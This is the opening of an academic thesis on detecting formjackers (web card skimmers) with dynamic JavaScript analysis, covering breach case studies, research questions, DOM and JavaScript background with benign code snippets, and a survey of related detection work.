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Abstract
We propose a novel, dynamic analysis­based detection solution for formjackers. The operating princi­
ple of these formjackers, or card skimmers on the web, is typically simple, yet effective: when making
a payment on webshop that has been infected with a formjacker, the submitted payment information
is not just transmitted to the webshop, but also silently to the involved malicious actor. Incidents in the
past few years with large numbers of potentially affected customers, in the order of hundreds of thou­
sands to millions, and high fines, in the order of tens of millions, have shown the urgency of addressing
the issue of card skimming on the web.

Currently, the state of the art in detecting formjackers is that of the cybersecurity industry, whose
proprietary detection strategies appear to heavily rely on classical, static­analysis techniques. A draw­
back of these techniques is that they are less suited to detect new or unknown strands of formjackers.
To advance the state of the art and enable a comprehensive, large­scale study of formjackers on the
web, we wish to go beyond the traditional ‘Indicators of Compromise’ approach. Instead of building on
relatively shallow indicators, such as what formjacker typically look like, or which domains are com­
monly associated with formjacking campaigns, we propose to look at the underlying, more rudimentary
behavior of formjackers, such as accessing data entered into the page.

To this end, we introduce and study a detection strategy that ties into these more fundamental be­
havioral patterns of formjackers by applying dynamic analysis of client­side JavaScript. As an important
prerequisite in dynamic analysis, we identify which conditions must be satisfied to elicit malicious be­
havior in formjackers. We implement two types of dynamic analysis, showing how these conditions can
be met in practice. Finally, by crawling various collections of URLs we study the extent to which the
proposed detection solution is suited to detect formjackers.
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1
Introduction

FromSeptember 2017 to June 2018, 9.4 million customers of Ticketmaster may have had their personal
or payment information stolen [75, 96], because a third­party supplier of Ticketmaster was compromised
[60]. For a period of almost 10months, the website of Ticketmaster retrieved additional code that leaked
payment data entered into the page to a malicious third party. It took months to detect the information
leakage, even though it could have been spotted by anyone knowing what to look for. As a result, at
least 60,000 individual card details were compromised and Ticketmaster was fined £1.25 million [75].

Shortly after, on the 21st of August 2018, some third party was able to add 22 lines of JavaScript
to the website of British Airways [57]. Consequently, anyone making a payment on the website had a
copy of their payment card data send to the ill­intended third party [73]. The 22 lines of JavaScript were,
as with Ticketmaster, visible to anyone who may have been looking for them. After two weeks, British
Airways was informed of the information leakage and by then the malicious third party “is believed to
have potentially accessed the personal data” [73, p. 24] of almost 430,000 individuals. The British data
protection authority, the Information Commissioner’s Office, fined British Airways £20 million “for failing
to protect the personal and financial details” [74] of those customers.

After Ticketmaster and British Airways, more well­known companies have suffered from similar
attacks, such as NewEgg [59], Forbes [34], The Guardian [35] and Tupperware [90]. This type of attack
may be considered the online equivalent of card skimming and is commonly referred to as ‘formjacking’.
These six companies are only a very small selection of the websites that have fallen victim to these
web skimming attacks. As an example, the abuse of unsecured Amazon S3 buckets has led to the
infection of at least 17,000 domains with a formjacker [58].

An unsecured log file discovered in 2019 [48] gives a unique insight into the extent of some form­
jacking campaigns. During a period of 10 months, from July 2018 to May 2019, a little over 185,000
unique and valid credit card numbers were collected on a single attacker­controlled server. Later, ana­
lysts discover that dozens of exfiltration domains have been used as a proxy for this exfiltration server
and that since April 2017, 570 e­commerce websites have fallen victim to this particular group of at­
tackers [5]. During this time the formjacker evolved, moving from publicly available code obfuscation
methods to custom, harder­to­analyze ones.

Part of the problem is that formjacker kits may be bought ready to use on dark web marketplaces,
featuring free support, free updates, and easy­to­use user interfaces [61]. In particular, the ‘Inter’
skimmer kit seems popular, which was found on at least 1500 websites in September 2020 [84].

We make two observations. First, formjackers are a relevant cybersecurity threat: at least hundreds
of thousands of people have been affected in the past few years. Moreover, as we have only described
a few cases, in reality, this number may be much higher. Second, in the described cases the formjacker
infection could have been detectedmuch sooner and by anyone on the Internet. We, therefore, propose
to pursue the detection of formjackers at scale to address the issue of skimming on the web.

1.1. Problem Statement
To the best of our knowledge, there have been no serious attempts in the academic world to detect
formjackers. As a result, the current state of the art in formjacking detection is the classical ‘Indicators

1



2 1. Introduction

of Compromise’ approach of the cybersecurity industry. This approach is largely static. RiskIQ, one
of the more dominant voices, for instance, frequently crawls webpages to monitor for changes to the
website’s code. Signatures for identified formjackers are manually constructed [61]. Similarly, Rapid­
Spike matches ‘commonly used patterns’ against the website’s code and monitors for connections to
suspicious hosts [81].

Because these techniques are proprietary we cannot comment on them in detail. In general, how­
ever, static analysis may be an effective method to detect and block specific and known formjackers.
Unfortunately, due to the dynamic nature of JavaScript and the ability to perform code obfuscation, it is
less suited to detect new or unknown variants. Although the industry standard is not entirely static, we
believe it may be insufficient to comprehensively study the prevalence of formjacking on the web. This
hypothesis would be supported by the fact that published reports frequently pertain to the prevalence
of a single formjacker variant, not the prevalence of formjackers in general. Regardless, we believe a
publicly described, general­purpose, and scalable detection solution for formjackers to be non­existent.

1.2. Related Work
Such detection solutions have been explored for other types of malware on the web, such as ‘cryp­
tojackers’. These cryptojackers are scripts on webpages that use the visiting user’s device to mine
cryptocurrency, without permission. Eskandari et al. [30] show that cryptojackers may be detected with
a static, keyword­based approach. Thereafter, Hong et al. [45] identify that many cryptojackers can
evade this type of static detection, for example by applying code obfuscation.

Alternative approaches then introduced a dynamic component to counter this issue. Rauchberger
et al. [82], for example, note that although the cryptojacker may be obfuscated, it is often still com­
municating in the clear. As such, they apply their static heuristics to the dynamically obtained and
yet unobfuscated network traffic. Other solutions rely on a lower­level approach and identify a unique
pattern in the behavior of cryptojackers. Hong et al. [45] exploit the typically repetitive workload of
cryptojackers and Wang et al. [105] monitor the use of specific low­level instructions. The develop­
ment towards (partially) dynamic solutions underlines the limitations of static analysis techniques in the
context of malicious JavaScript.

In both the detection of malicious browser extensions [46, 55] and the investigation of fingerprint­
ing and tracking on the web [2, 3, 65], various approaches have resided to another form of dynamic
analysis: monitoring the use of native (web or extension) API. Which functionality is used shows what
types of fingerprinting techniques are used on the web. Similarly, certain behavior, such as browser
extensions trying to prevent their own uninstallation, may indicate malicious intent [55].

Compared to static analysis, dynamic analysis comes with a significant challenge: the behavior
that is to be dynamically analyzed must come to the surface. To that end, Kapravelos et al. [55] use
’HoneyPages’ to elicit malicious behavior in the browser extension under investigation. The content of
a webpage is adapted in an attempt to match the expectations of the extension. The HoneyPage is
augmented with a fuzzer. If we wish to apply dynamic analysis to detect formjackers, similar strategies
may be required.

Other dynamic approaches to detect malicious browser extensions involve the use of taint analysis.
By applying a taint, or label, to a bit of sensitive data it is possible to show that a browser extension is
trying to transmit sensitive information to some third party [23]. This may provide strong evidence of
wrongdoing by potentially malicious JavaScript.

1.3. Research Questions
In this thesis, we wish to go beyond the ‘mostly static’ state of the art and explore whether some of
the mentioned dynamic techniques work well in the context of formjackers. Our overarching research
goal is to lay the groundwork for an Internet­scale study of credit card skimming on the web. As noted
before, a prerequisite of dynamic analysis is that malicious behavior comes to the surface. As such,
we first try to answer the following research question (RQ):

RQ 1 Which conditions have to be satisfied to elicit malicious behavior in formjackers?
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We then implement various dynamic analysis techniques and explore their applicability to detect
formjackers. Concretely we try to answer the following research question:

RQ 2 To what extent is it feasible to apply dynamic analysis to detect formjackers?

1.4. Contributions
We start by answering research question 1 and study the concept ‘formjacker’ from a theoretical per­
spective. We introduce a behavioral framework to capture the various ways a formjacker could be
constructed and show that a wide variability is possible. The framework also gives us a set of re­
quirements dictating how to theoretically elicit malicious behavior. This includes server and client­side
detection evasion and matching the expectations of the formjacker with respect to data and content.

We introduce a detection strategy to try to fulfill those requirements in practice, without resorting
to a difficult and time­consuming navigation strategy. Instead of walking through a website page by
page, having to maneuver menus, pop­ups, and log­in screens, we propose a method to trick the
formjacker into thinking any page is worth stealing data from. We are able to elicit malicious behavior
in formjackers with a single page load by using payment page simulation and a procedure to trigger the
asynchronous parts of the formjacker. To that end we apply the concept of HoneyPages in the context
of formjackers and real­world webpages, introducing multi­step DOM injection that is able to deal with
undefined properties.

We implement and evaluate two types of dynamic analysis. One that monitors which native func­
tionality is accessed by the target application and another that monitors sensitive data flows using
taint analysis. We show that both methods may be used to detect formjackers and identify issues and
drawbacks.

Finally, we build a scalable web crawler. We crawl a body of roughly 375,000 e­commerce re­
lated domains and identify a subset of potential formjackers which we manually analyze. We find that
domains of other webshops and at first glance inconspicuous domains are popular data exfiltration
locations.

1.5. Thesis Outline
First, in chapter 2, we cover some background material required for understanding the remainder of
this thesis. To contextualize this work, we then study related work in chapter 3. We continue with
a study on how one could construct a formjacker and identify the requirements for eliciting malicious
behavior in chapter 4, answering research question 1. We implement and elaborate on a formjack­
ing detection solution in chapter 5 and additionally implement a tainting instrumentation framework in
chapter 6. Then, to answer the second research question, we show our results and evaluate the given
implementation in chapter 7. Finally, in chapter 8, we summarize and discuss our findings, ending with
an outlook towards opportunities for future work.





2
Background

This chapter introduces important terms and explains the concepts that are required for understanding
the remainder of this thesis. We will touch upon the difference between the front­end and the back­end
of a web application and briefly explain the Document Object Model and the usage of JavaScript in the
context of web browsers.

2.1. Front­end and Back­end
As an abstraction, a web application is commonly divided into two parts: the back­end and the front­
end. An example application is illustrated in fig. 2.1. In step 1, a user visits a website, e.g. some
webshop. The user’s device, the client, will initiate an HTTP connection to the server. The back­end of
the application is the part of the application that is running on the server and responds to this initial HTTP
request of the client. As a response, the back­end may return a document describing the structure and
the content of the requested webpage. In this figure, ‘index.html’.

In step 2, the client interprets this document and may request additional resources, such as images
or scripts. In the figure, the client requests the resource ‘app.js’. This script executes on the client side.
The part of the application that runs on the client­side is referred to as the front­end of the application.
The three major building blocks of the front­end are files in the mark­up language HTML, the scripting
language JavaScript, and the style sheet language CSS.

Figure 2.1: Common terms describing a sample web application. Icons adapted from [78].

2.2. Document Object Model
As noted, the file ‘index.html’ from fig. 2.1, describes the structure and content of the requested web­
page. The Document Object Model (DOM) is a representation of this document in the form of a logical
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<html>
<form>

<input id=”customer­name”>
<select>

<option>Visa</option>
<option>MasterCard</option>
<option>JCB</option>

</select>
<textarea id=”credit­card­number”></textarea>

</form>
</html>

(a) index.html (b) index.html rendered in Firefox 83.0

Figure 2.2: Document and render of a simple sample payment page.

tree enabling programmatic interaction [67]. For a simple webshop payment page, the page where the
user enters its payment details, ‘index.html’ may look as depicted in fig. 2.2a. The browser renders this
document into a webpage (fig. 2.2b).

The document contains three common elements that allow the user to enter data into the page:
input, select, and textarea. They are described using HTML tags, such as <select>. These elements
are nodes in the DOM tree and may contain other nodes, such as the options of the select element.
The elements may have various attributes, such as ‘id’.

2.3. JavaScript
In a web browser, interaction with the DOM typically happens through JavaScript. We discuss four
topics: how to use JavaScript to interact with the DOM, object properties, the JavaScript global object,
and finally, events.

2.3.1. Interacting with the DOM
The browser exposes the root node of the DOM tree through the object document. This object also
exposes various functions to interact with the DOM. The script ‘app.js’ may, for example, retrieve an
element from the DOM by specifying its identifier:
var inputName = document.getElementById(’customer­name’);

Instead of traversing the full DOM tree, as above, it is also possible to perform a query on a specific
node. For example to retrieve all option elements of a specific select element:
someSelectElement.getElementsByTagName(’option’);

Where someSelectElement refers to some select element, such as the one in fig. 2.2a. A more
powerful method uses CSS selectors. These selectors can query multiple elements, in a nested struc­
ture with mixed properties. The following example retrieves all input elements inside a form element,
as well as all textarea elements:
document.querySelectorAll(’form input,textarea’);
> NodeList [ input#customer­name, textarea#credit­card­number ]

We use the symbol ‘>’ at the beginning of a line to indicate that the line displays the return value of
the command above it. The symbol ‘#’ precedes the identifier of the retrieved element.

2.3.2. Properties
The application may then, for example, retrieve the value that may have been entered by the user into
this field by accessing the corresponding property of this object. In JavaScript there are two equivalent
notations:
inputName.value;
inputName[’value’];

The object inputName does not ‘own’ the property ‘value’. Instead, the prototype chain of the
object is traversed. The object inputName is an instance of HTMLInputElement, whose prototype
does contain the value property:
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var proto = Object.getPrototypeOf(inputName);
Object.getOwnPropertyDescriptor(proto, ’value’);
> Object { get: value(), set: value(), enumerable: true, configurable: true }

The object getOwnPropertyDescriptor returns, describes the configuration of the ‘value’ prop­
erty. In this case, the property has both a getter and a setter. A get or set operation executes the
corresponding getter or setter. We can illustrate this by redefining the setter of the property:
Object.defineProperty(HTMLInputElement.prototype, ’value’, {

set: function() {
console.log(’hello world’);

}
});

inputName.value = 42;
< hello world

We use the symbol ‘<’ at the beginning of a line to indicate that the line displays the console output
of the lines above it.

2.3.3. Window
The global object in a browser is called window. It provides access to standard built­in objects sup­
plied by the JavaScript language, such as Object.defineProperty, and to objects added by the browser,
such as document.getElementById. We will refer to both types of objects, as they are both by default
available on the global object, as native functionality.

Native functionality that is mentioned frequently in this work are window.location, that returns the
location or URL of the current document, window.atob and window.btoa that respectively Base64 de­
code and encode a given input string and finally, JSON.stringify that converts a JavaScript object to
a JSON string. As we have done for ‘window.JSON’, ‘window’ can be, and frequently is, omitted for
brevity.

2.3.4. Events
Finally, a JavaScript application is often event­based. The sample script ‘app.js’ may for example wish
to process the data entered by the user into the first field. The application ‘registers’ an event listener
to a certain event. For example to the ‘change’ event:
inputName.addEventListener(’change’, eventListener);

Such an event listener, or callback is a function to be called when the given event fires. For example:
var eventListener = function(event) {

console.log(event.target.value);
}

When the event fires, the browser will execute the attached listener(s) with an event object that
details the event that has been fired. In the above snippet, it is called ‘event’. It includes, for instance,
a reference to the event it was fired on: ‘target’.

2.4. Summary
In summary, a web application is commonly divided into two components: the front­end and the back­
end. The structure and content of the front­end are defined by the Document Object Model or DOM
for short. Through the use of native functionality, the DOM may be inspected and manipulated. This
includes querying the DOM for elements, getting and setting properties of objects, and attaching event
listeners to the page.





3
Related Work

In this work, we will focus on formjackers with an observable client­side, as will be explained in chap­
ter 4. Although formjacking is largely unexplored territory, client­side (JavaScript) analysis has been
employed in various other contexts. In this chapter, we will explore these analysis techniques.

In section 3.2 we will look at a variant of malicious JavaScript that relates closely to formjacking:
cryptojacking. Then, in section 3.3 we will look at techniques that are being employed to detect Cross­
site Scripting vulnerabilities, because similar analysis techniques may be applicable to formjackers. In
section 3.4 we will cover the analysis of malicious browser extensions, which, just like formjackers,
often include malicious information flows. Then we will cover online tracking, in section 3.5, which
showcases large­scale surveys of dubious behavior of JavaScript on the web.

Having discussed four domains of dynamic JavaScript analysis, we will discuss a design decision
fundamental to this type of analysis in section 3.6. We will then cover some static analysis solutions
for the detection of malicious JavaScript in section 3.7. Finally, we will summarize and conclude our
findings in section 3.8. We start, however, with section 3.1 highlighting related work regarding form­
jacking.

3.1. Formjackers
To date, there has been little research into formjacking in the academic world, in contrast to an enthu­
siastic Threat Intelligence community on Twitter [98]. Publicly available reports are limited and do not
always outline the used data set and methodology. Still, to give an indication as to the scale of the
problem and the current state­of­the­art, a few examples.

In September 2016, De Groot [16] crawls 255,000 webshops and finds almost 6,000 infected, iden­
tifying three distinct formjackers. In December that year, the same author finds a single formjacker on
close to 7,000 stores [17]. Static signature matching against the source code of webshops appears to
have been used to detect these infections [22]. In 2018, De Groot [19] shows that during a period of
three months, about 20% of monitored shops get re­infected after clean­up.

Thereafter, Klijnsma et al. [61] identify six distinct formjacking groups by identifying differences in
infrastructure, skimmer behavior, or specificity in targeting. As a detection strategy, the authors period­
ically crawl webpages and monitor for changes to the website’s code. Again, static signatures, defined
using manual analysis, appear to play an important role. The authors identify various techniques that
are being employed by formjackers to evade detection. Furthermore, they identify that formjackers are
used both in a very targeted fashion, targeting a small set of high­profile companies, and as broad as
possible, targeting thousands of webshops.

A good example of the latter is described in 2019 [58]. The authors find that over 17,000 domains
have been infected with a formjacker by abusing unsecured Amazon S3 buckets. More recently, in
September 2020 web security company Sansec reported on almost 3,000 stores being infected with a
formjacker in a single campaign [86].

Reports on formjackers are not limited to these ‘large­scale’ campaigns. Individual webshops are
incidentally found compromised and reported on, showing a broad spectrum of formjackers. Formjack­
ers have been identified both at the front­end (client­side; e.g. [15]) and at the back­end (server­side;
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e.g. [16]) and variants that combine the two [44]. Client­side formjackers are reported on widely and
show a wide variety of behavior. Notably, there are those that are actively trying to verify the execution
context. Such checks include the referrer, the current URL of the page (location), and whether or not
development tools are deployed [61]. Furthermore, there are formjackers that dynamically generate
domain names [92], or use obfuscation: some perform encryption [104], or hide their malicious pay­
load behind encoding [16], inside images [11], or seemingly innocuous URLs [20]. Some even actively
sabotage competing formjackers [21].

3.2. Cryptojackers
Closely related to formjackers are ‘cryptojackers’, which, contrary to formjackers, have received the
attention of the academic community the past few years. These cryptojackers are scripts on web
pages mining cryptocurrency using unwitting visitors’ resources. Instead of stealing information, these
cryptojackers are stealing resources. We will examine the various strategies that have been employed
to detect this behavior, aiming to identify useful techniques for the detection of formjackers.

Initial, static detection of cryptojackers [30] could be evaded, for example, using code obfuscation
[45]. As an alternative MiningHunter [82] introduced a dynamic component, applying static heuristics
to dynamic, and not yet obfuscated, WebSocket traffic. Although this approach was probably sufficient
at the time, it is relatively easy for a cryptojacker to evade detection by encrypting its communication.
Nonetheless, within the Alexa Top 1 Million, the authors were able to identify a little over 3,000 actively
mining websites.

Hong et al. [45] tackle the issue differently and observe that cryptojackers exhibit unique behavior:
a repetitive workload. Crawling about half a million domains (the Alexa Top 100k and referenced ex­
ternal links) and monitoring for periodic call stacks (as well as using static signatures) the authors are
able to identify close to 3,000 cryptojacking domains. The authors observe that many cryptojackers are
actively trying to evade detection. Most limit CPU usage to avoid impacting the user browsing experi­
ence too much. Frequently occurring, too, is code obfuscation, which, as noted before, hinders static
analysis. Furthermore, many cryptojackers hide their malicious payload, for example by appending it to
a common JavaScript library. The authors also note that some cryptojackers avoid the highest­ranked
pages, which means only monitoring the front page might not be sufficient. Finally, the authors observe
that malicious miners are short­lived. For example, 20% of servers or domains hosting cryptojackers
move to another domain within 9 days.

Wang et al. [105] introduce SEISMIC. The tool also exploits a unique characteristic of cryptominers.
A major part of the miner is often implemented in WebAssembly, a relatively new language for web
browsers that aims for near­native performance in terms of execution time. The authors manually
identify five WebAssembly instructions and show that these are more common in mining WebAssembly
applications, compared to non­mining ones. Instead of instrumenting JavaScript, as we have seen
before, the authors instrumentWebAssembly. Inline counters are added for each of the five instructions,
which form the identifying features. An advantage of their approach, as the authors note, is that the
instrumentation of WebAssembly is browser­agnostic. This comes at the cost of runtime overhead
(100% on the tested miners).

Surveying cryptojackers outside the domain of browsers, Bijmans et al. [7] use Censys and Shodan
to identify hacked Microtik routers that are injecting cryptominers in bypassing network traffic. The
authors are able to identify these formjackers because the routers are also serving a public­facing
portal that includes the miner. Interesting from this approach is that a single strategy, for example
crawling publicly available websites, may not be sufficient to perform an exhaustive survey into a given
topic.

3.3. Cross­site Scripting
Another interesting domain within the world of client­side JavaScript analysis is detecting cross­site
scripting (XSS) vulnerabilities using taint analysis. In an XSS attack, an attacker is able to inject ma­
licious client­side code into a vulnerable web application. Taint analysis is a form of dynamic analysis
applying labels or ‘taints’ to data of interest. This allows one to follow a piece of data from ‘source’, as
it is modified by the investigated application, to its final destination, the ‘sink’.

Taint analysis may be used to identify XSS vulnerabilities by monitoring data flows between poten­
tially attacker­controlled sources, such as the URL, into sinks that might allow changing the Document
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Object Model (DOM), such as document.write. We discuss XSS vulnerabilities here because form­
jackers operate similarly in the opposite direction: data flows from the DOM to the attacker. As such it
may be a powerful technique to detect formjackers.

Nentwich et al. [72] are the first to apply taint analysis to detect and prevent DOM­based XSS
vulnerabilities. To that end they modify Firefox’s browser engine, SpiderMonkey, to add support for
taint propagation. Similarly, Lekies et al. [62] modify Chromium’s JavaScript engine, V8, to perform
a survey into DOM­based XSS vulnerabilities, crawling the Alexa Top 5000. Due to the increased
complexity of V8 with respect to SpiderMonkey, the early work by Nentwich et al. [72] supports all
objects and types, whereas the work by Lekies et al. [62], and subsequent improvements [66, 94],
are limited to string­to­string taint propagation. This means that, for example, a tainted string that is
encoded or encrypted by converting the individual characters to integers would lose its taint.

The two aforementioned works concern modifications to the low­level components of the browser,
such as its JavaScript engine, which following Jueckstock and Kapravelos [52] we will refer to as
‘out­of­band’ implementations. An alternative strategy is to implement tainting ‘in­band’: instrument­
ing JavaScript inside the browser, using source code rewriting (transpiling) or by replacing native
JavaScript functionality, dubbed ‘prototype patching’. We will cover the difference between in­band
and out­of­band instrumentation in more detail in section 3.6.

Such an in­band tainting solution is DexterJS [76], which transforms JavaScript on the fly by inter­
cepting HTTP requests. Primitive strings are converted to String objects to be able to attach a taint.
DexterJS is able to deal with (at least the majority of) dynamically generated code by rewriting functions
such as eval to ones that get instrumented on the fly. The authors perform a survey of the Alexa Top
1000 to detect XSS vulnerabilities and to prove the robustness of their implementation.

An alternative to DexterJS is Jalangi [91], a general­purpose dynamic analysis framework for JavaScript.
Source code is rewritten to support ‘annotated’ values that replace the original values with an object
that may include additional metadata, such as a taint. The framework introduces record and replay
phases that allow performing the analysis on a different, more powerful, platform. This could especially
be advantageous if working with resource­constraint devices, such as phones, or when performing
computationally intensive analyses. The performance of Jalangi is evaluated on a small selection of
web applications, as well as the SunSpider benchmark suite. Typically, the instrumented code is a
factor 10­100 times slower than its uninstrumented variant.

3.4. Malicious Browser Extensions
Another application of taint analysis is detecting malicious information flows in malicious browser ex­
tensions. Early work by Dhawan and Ganapathy [23] highlights the relevancy of this topic to our work,
showing the ability of taint analysis to detect the malicious behavior of a browser extension that may be
regarded as a formjacker. They do so by tainting all information retrieved from form fields and raising
an alert when the extension tries to transmit the retrieved data using a function that has been defined
as a sink.

Where Dhawan and Ganapathy [23] implement a taint analysis solution for Firefox, the authors of
Mystique [12], wished to investigate extensions for Chromium. Previous tainting solutions for Chromium,
as covered in section 3.3, were still limited to string­to­string propagation. The authors of Mystique cre­
ate a tainting solution with support for all objects and types, but resort to a partially static solution, due
to the complexity of Chromium’s JavaScript engine, V8.

Malicious extensions have also been investigated bymonitoring their usage of web and/or extension
APIs [46, 55]. An interesting contribution of Hulk [55] is the usage of ’HoneyPages’ to elicit malicious
behavior in the extension that is being analyzed. The authors dynamically modify the content of the
visited page as to the expectation of the investigated extension by injecting elements into the DOM
as these elements are being queried. Hulk furthermore features ‘event handler fuzzing’ to trigger call­
backs that the extension registers to web request­related events. Because these callbacks may only
fully execute on a specific URL, a fuzzer is used to repeatedly execute them with different URLs. Hulk
monitors the extension API using the built­in solution of Chromium, stores code that is being injected,
and logs network requests that are being made. The web API is left largely unmonitored. A set of
heuristics is then applied to determine the maliciousness of the extension. Examples include uninstal­
lation prevention and manipulation of security­related headers in HTTP requests. The authors also
monitor for information theft, which includes forms of formjacking. The exact details are omitted, but it
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seems the detection is based on monitoring access to fields with a specific name or type (password or
email) as well as monitoring access to keypress events.

For each extension, Hulk is used to visit a set of URLs that are generated by looking at the permis­
sions of the extension and a static search of URLs in its source code. They are further augmented with
a set of popular sites. By analyzing 48,000 extensions, the authors are able to identify 130 malicious
ones. As the authors note, their approach is not exhaustive and there could be many reasons certain
malicious behavior is not triggered: different code may be loaded dynamically based on the client,
user interaction is not simulated, HoneyPages may fail to inject elements with the right properties and
HoneyPages may be detected, if queried for explicitly.

WebEval [46] addresses some of these concerns and explores a more ’defense in depth’ approach,
using HoneyPages and monitoring DOM operations and Chromium API calls, but also monitoring for
low­level changes to the sandbox, logging network requests, simulating network requests, and using
manually recorded ’behavioral suites’ that might trigger malicious behavior. The authors manually
identify 9,523 malicious browser extensions and show that their detection mechanism detects 93%
of the malicious extensions.

A major challenge of dynamic analysis in the context of web extensions, as the authors of WebE­
val note, is that malicious behavior may be overlooked due to ‘cloaking’. This includes, for example,
dynamically loading benign resources before evaluation, switching to the malicious payload after eval­
uation.

3.5. Online Tracking
The last domain we discuss where dynamic analysis of JavaScript is applied is online tracking. Although
not necessarily malicious, we believe this topic may still be relevant because of the methods employed
to detect the dubious behavior of scripts. Where online tracking typically involves ‘legitimate’ information
leakage, a formjacker may behave somewhat similar and involve illegitimate information leakage.

Mayer and Mitchell [65] introduce FourthParty, a Firefox extension that dynamically analyzes fin­
gerprinters by monitoring their usage of web and extension APIs. A major part of their instrumentation
relies on prototype patching. They observe various forms of identifying information leakage. Although
it does not involve credit card data and the transmission is not strictly malicious, one of these leakages
is rather similar to formjacking: a specific interaction with a form on the Wall Street Journal website
leads to the transmission of the user’s email address to (legitimate) third parties. The authors observe
this leakage simply by monitoring HTTP traffic.

Acar et al. [2] then introduce FPDectective and show the prevalence of fingerprinters on the web by
crawling the Alexa Top 1 Million. Their prototype is based on Chromium, PhantomJS, and an (HTTP)
proxy. By spawning multiple browser instances FPDectective can crawl multiple websites in parallel.
Similar to FourthParty, the access of scripts to a selection of browser properties are logged. However,
as to the authors’ preference, they employ (out­of­band) modifications to Chromium. In terms of runtime
performance, these out­of­band modifications seem to be significantly less obtrusive than the in­band
modifications performed by FourthParty. Because the two methods have been evaluated differently,
the figures cannot be directly compared, but they differ by two orders of magnitude in terms of runtime
performance.

Based on similar ideas, Acar et al. [3] create the basis for the influential privacy measurement
framework OpenWPM that six years later, in contrast to many other endeavors, is still being maintained
[69]. Over the years it has been used in a plethora of studies, ranging from additions to the framework
to monitor smartphone­specific behavior [14], to dark patterns in webshops [64].

3.6. In­band and Out­of­band
There is one rather fundamental design decision that we have seen in the various dynamic analysis
solutions that have been discussed in this chapter. Where some tainting or online tracking solutions are
implemented in­band, others are implemented out­of­band. In the same way, if we wish to investigate
dynamic analysis in the context of formjackers an important question will be whether to implement the
instrumentation in­band or out­of­band.

Despite the popularity of in­band instrumentation, such as OpenWPM, Jueckstock and Kapravelos
[52] argue for an out­of­band implementation and introduce VisibleV8: a dynamic analysis framework
for Chromium. The authors modify V8 to intercept all native function calls and all property accesses.
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Accesses on non­native objects are filtered out. Everything else is logged on interception.
The authors observe three issues with prototype patching based in­band dynamic analysis. First,

prototype patching cannot guarantee complete coverage in monitoring the usage of browser API. One
cannot monitor arbitrary properties, because the prototypes to be monitored have to be overridden
individually. Furthermore, some properties are marked ’Unforgeable’ in Chromium, and, by default,
cannot be overridden. Second, prototype patches fail to be ’stealthy’ and may be detected, either using
’toString’ or stack traces. This is a cat­and­mouse game, because these methods may be patched
themselves. The authors argue, however, that due to the complex dynamic type system of JavaScript
prototype patching is at the losing end. Finally, depending on the implementation, prototype patches
may be subverted by injecting an iframe element, which has a pristine global object.

On the other hand, in­band solutions are in general perceived to be easier to maintain across
browser versions, because browser engines evolve rapidly. Jueckstock and Kapravelos [52] maintain
VisibleV8 across eight Chromium releases and argue that their implementation is sufficiently lightweight
to be maintainable. Another reason for choosing an in­band solution might be that it is (more) browser
agnostic and may be used for measurements on various platforms. Furthermore, it may be that
JavaScript offers greater flexibility. For example to augment the passive monitoring with a compo­
nent that actively spoofs values to intercepted properties. In the end, it depends on the application
what the most fitting approach is.

3.7. Static Analysis
Although the previous domains already featured some static components, we wish to highlight some
detection solutions for malicious JavaScript that are predominantly static. Parts of these solutions may
be applicable to formjackers.

Unfortunately, static analysis is tricky with JavaScript. That is in part because JavaScript allows to
dynamically generate code using eval (and variants). On the web, it additionally allows dynamically
loading external resources. Therefore, many solutions to detect malicious JavaScript resort to a ‘mainly
static’ approach with a small dynamic component.

Curtsinger et al. [13] introduce Zozzle, a ‘mostly static’ malicious JavaScript detector. The analysis
itself is entirely static, but a dynamic component is required to collect dynamically generated code. The
authors train a Naive Bayes classifier on a data set generated by a heap­spray malware detector. As
such, the trained classifier specifically targets this type of malicious JavaScript. Features are extracted
from the to­be­analyzed file’s Abstract Syntax Tree (AST). Due to its static nature, the classifier incurs
a low runtime overhead, typically a few milliseconds per file. The design features a false positive rate
below 0.01% and a false negative rate of 9%.

Kaplan et al. [54] build upon these ideas to create an obfuscated JavaScript detector: Nofus.
The implemented, AST­based, static classifier distinguishes between obfuscated and non­obfuscated
JavaScript with a false positive rate of 1% and a false negative rate of 5%. The authors show that
‘malicious’ does not always imply ‘obfuscated’: a portion of 15% of malicious JavaScript is found to be
non­obfuscated. The classifier is simplified in comparison to Zozzle and incurs an even lower runtime
overhead.

Xu et al. [107] introduce JStill and build upon the observation that malicious obfuscated JavaScript
often hides its malicious content and has to retrieve it. If this is the case, it may be detected. If it
is not, then, they argue, sufficiently capable static detection that is able to capture the semantics of
the unchanged malicious code should be able to capture them. As such the authors conclude their
solution complements other approaches. Instead of extracting features from the syntax tree, JStill
uses the file’s bytecode representation, which contains more semantic information. In comparison to
Nofus, JStill features a slightly higher false­positive rate (1.75%) at a significantly lower false­negative
rate (0.53%). The authors report an average overhead of 5% on a website’s loading time.

3.8. Conclusion
Currently, formjacker detection seems to primarily rely on static signatures. Where in other fields static
solutions have been shown to be fast and effective, they may be less applicable to formjackers. For
one, the presented static solutions require a large corpus of known malicious JavaScript, which is un­
available. Furthermore, formjackers have been observed to display a wide behavioral variety, including
active detection evasion, which makes detecting new and unknown variants problematic.
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Similar detection evasion techniques have been observed in other types of malicious JavaScript,
such as code obfuscation in cryptojackers. To work around code obfuscation, solutions to detect cryp­
tojackers have increasingly included dynamic components. Various approaches have shown that iden­
tifying a unique behavioral pattern can be an effective dynamic detection strategy, a lesson that may
be useful in applying dynamic analysis to detect formjackers.

In general, dynamic analysis has been implemented on various levels. From network traffic to
in­band and out­of­band instrumentation. Where in­band is more flexible, out­of­band may be more
stealthy. ‘Cross­layer’, we have seen that taint analysis can be used to confirm transmission of data
to third parties. This technique has been applied to detect malicious browser extensions, and we note
that this may be applicable to formjackers, too.

Finally, the detection of malicious browser extensions shows that it is important for dynamic analysis
to bringmalicious behavior to the surface. Possible solutions include HoneyPages and callback fuzzing.

3.8.1. Research Gaps
Concretely, we identify the four following research gaps:

• Eliciting malicious behavior in formjackers;

• Applying dynamic analysis to detect formjackers;

• A structured and comprehensive overview of formjacking behavior;

• A comprehensive study into the prevalence of formjacking on the web.

In this thesis we will focus on the first two research gaps, hoping to improve our general under­
standing of formjackers. To that end, we will introduce a structured approach to automated analysis
and detection of formjackers, able to deal with obfuscated and new, or unknown, strands of formjack­
ers.



4
Behavioral Framework

This chapter approaches the formjacker detection problem from a theoretical perspective. It tries to give
a structured and comprehensive overview of the possible behavior of a formjacker: from compromise to
data extraction. Some behavioral patterns that have already been observed in the wild will be illustrated
with concrete examples. First, we will introduce and explain the notion of a ‘formjacker’ in section 4.1.
The subsequent sections detail a specific phase in the formjacking process: compromise (section 4.2),
